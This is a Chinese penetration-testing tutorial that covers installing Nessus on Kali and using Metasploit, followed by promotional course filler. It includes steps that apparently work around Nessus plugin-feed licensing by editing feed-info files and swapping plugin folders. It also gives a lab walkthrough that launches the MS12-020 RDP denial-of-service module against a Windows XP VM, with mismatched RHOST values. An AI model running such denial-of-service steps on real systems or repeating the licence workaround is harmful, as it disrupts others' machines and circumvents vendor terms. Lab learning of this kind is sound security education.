网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
- 访问http://www.tenable.com/products/nessus/nessus-plugins/获取激活码,选择 Nessus Home 输入注册详尽信息
- 输入通过电子邮件收到的注册码
Linux(详细)
- https://www.tenable.com/downloads/nessus?loginAttempted=true
- 以 kali linux (Debian 64位)为例
- 拖动文件,复制到kali linux 中
- dpkg -i Nessus-8.15.3-debian6_amd64.deb
- service nessusd start
- service nessusd status
- 访问 https://localhost:8834/
- 选择Managed Scanner,然后选择继续
- 选择Tenable.sc
- 设置username和password ,之后等待安装
- 注册邮箱 ,获取激活码
- 控制台进入 Nessus文件:
cd /opt/nessus/sbin/
./nessuscli fetch --challenge 获取challenge code
13.访问:https://plugins.nessus.org/v2/offline.php 输入challenge code 和激活码,下载
all.-2.x.tar.gz
14.将all.-2.x.tar.gz拖动至/opt/nessus/sbin下:
1: cp all-2.0.tar.gz /opt/nessus/sbin/
2: cd /opt/nessus/sbin/
3: ./nessuscli update all-2.0.tar.gz
4: cp -r /opt/nessus/lib/nessus/plugins/ /opt/nessus/lib/nessus/plugins.bak/
5: service nessusd restart
15.后续操作修改plugin_feed_info.inc文件:
1: vim /opt/nessus/var/nessus/plugin_feed_info.inc
2: vim /opt/nessus/lib/nessus/plugins/plugin_feed_info.inc
3: service nessusd restart
4: cd /opt/nessus/lib/nessus
5: rm -rf plugins
6: mv plugins.bak/ plugins
7: 重启kali
8: service nessusd start
9: 重新访问 https://localhost:8834/ 等待更新
3. kali自带 Namp
4. kali 自带Metasploit
kali安装 (虚拟机)
https://www.kali.org/get-kali/#kali-virtual-machines
安装完成后:
1.控制台输入 msfconsole
2.msf命令教程:https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/
实例教程(仅供教学测试)
虚拟机:Windows XP(远程执行代码)https://docs.microsoft.com/en-us/security-updates/securitybulletins/2012/ms12-020
1.msf6> search ms12-020
2.use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
3.查看并设置参数(本地局域网测试)
show options
set RHOST 192.168.116.35
RHOST => 192.168.116.129
4.run
五、整理的帮助文档
官方文档:https://www.offensive-security.com/metasploit-unleashed/
Metasploit社区:http://resources.metasploit.com/
Metasploit指南:https://metasploit.help.rapid7.com/docs
笔者因才疏学浅初次尝试,尚有许多不足,望多加指正!
该期下一分节:渗透测试实战——(2.2)使用Metasploit进行Web渗透
🍻支持一下
觉得我写的好的话可以支持一下我哦~持续关注我,会更新其他好玩且实用的项目。
网络安全学习路线
这是一份网络安全从零基础到进阶的学习路线大纲全览,小伙伴们记得点个收藏!
1.学习路线脑图
高清的可自行下载
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!**
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新